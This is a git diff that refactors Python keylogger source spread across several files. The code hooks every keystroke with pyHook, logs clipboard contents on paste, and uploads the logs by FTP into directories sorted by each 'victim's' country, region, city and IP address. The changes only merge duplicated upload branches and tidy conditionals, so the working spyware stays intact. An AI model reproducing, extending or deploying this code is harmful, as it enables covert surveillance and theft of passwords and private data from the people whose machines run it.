diff --git a/FTP_client.py b/FTP_client.py index 1dfb376..449cf59 100644 --- a/FTP_client.py +++ b/FTP_client.py @@ -28,8 +28,6 @@ fo.close() if country == 'Bosnia and Herzegovina ': country = "Bosnia and Herzegovina" -else: - pass # --------------------------------------------------- # # ---------------sending file to ftp server----------------- # @@ -50,31 +48,18 @@ def log_upload(f_name): ftp.cwd(city) if ip in ftp.nlst(): ftp.cwd(ip) - if victim in ftp.nlst(): - ftp.cwd(victim) - ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) - ftp.quit() - else: + if victim not in ftp.nlst(): ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) - ftp.quit() else: ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) - ftp.quit() else: ftp.mkd(city) ftp.cwd(city) ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) - ftp.quit() else: ftp.mkd(region) ftp.cwd(region) @@ -83,9 +68,6 @@ def log_upload(f_name): ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) - ftp.quit() else: ftp.mkd(country) ftp.cwd(country) @@ -96,9 +78,10 @@ def log_upload(f_name): ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) - ftp.quit() + + ftp.cwd(victim) + ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) + ftp.quit() def clean_it(): global f_name diff --git a/Logger.py b/Logger.py index 69279b7..9a9979c 100644 --- a/Logger.py +++ b/Logger.py @@ -11,11 +11,11 @@ def keypressed(event): global data if event.Ascii == 13: - keys = '\n' - fp = open(f_name,'a') - data = keys - fp.write(data) - fp.close() + keys = '\n' + fp = open(f_name,'a') + data = keys + fp.write(data) + fp.close() elif event.Ascii == 8: keys = '' fp = open(f_name,'a') @@ -34,8 +34,8 @@ def keypressed(event): data = keys fp.write(data + "\n") fp.close() - elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24: - pass + elif event.Ascii in [1, 3, 19, 0, 24]: + pass elif event.Ascii == 22: keys = pyperclip.paste() fp = open(f_name,'a') @@ -45,11 +45,11 @@ def keypressed(event): fp.write("###########STOP CLIPBOARD#############\n") fp.close() else: - keys = chr(event.Ascii) - fp = open(f_name,'a') - data = keys - fp.write(data) - fp.close() + keys = chr(event.Ascii) + fp = open(f_name,'a') + data = keys + fp.write(data) + fp.close() def log_it(): obj = pyHook.HookManager() diff --git a/v2/FTP Keyloger b/v2/FTP Keyloger index b728c31..86e4f8c 100644 --- a/v2/FTP Keyloger +++ b/v2/FTP Keyloger @@ -41,31 +41,18 @@ def log_upload(x): ftp.cwd(city) if ip in ftp.nlst(): ftp.cwd(ip) - if victim in ftp.nlst(): - ftp.cwd(victim) - ftp.storbinary('STOR ' + filename, open(x, 'rb')) - ftp.quit() - else: + if victim not in ftp.nlst(): ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR ' + filename, open(x, 'rb')) - ftp.quit() else: ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR ' + filename, open(x, 'rb')) - ftp.quit() else: ftp.mkd(city) ftp.cwd(city) ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR ' + filename, open(x, 'rb')) - ftp.quit() else: ftp.mkd(region) ftp.cwd(region) @@ -74,9 +61,6 @@ def log_upload(x): ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR ' + filename, open(x, 'rb')) - ftp.quit() else: ftp.mkd(country) ftp.cwd(country) @@ -87,9 +71,9 @@ def log_upload(x): ftp.mkd(ip) ftp.cwd(ip) ftp.mkd(victim) - ftp.cwd(victim) - ftp.storbinary('STOR ' + filename, open(x, 'rb')) - ftp.quit() + ftp.cwd(victim) + ftp.storbinary('STOR ' + filename, open(x, 'rb')) + ftp.quit() fo = open(f_name, 'w') fo.flush() fo.close() @@ -125,7 +109,7 @@ def keypressed(event): data = keys fp.write(data + "\n") fp.close() - elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24: + elif event.Ascii in [1, 3, 19, 0, 24]: pass elif event.Ascii == 22: keys = pyperclip.paste() @@ -154,8 +138,6 @@ def keypressed(event): log_upload(f_name) except: pass - else: - pass obj = pyHook.HookManager()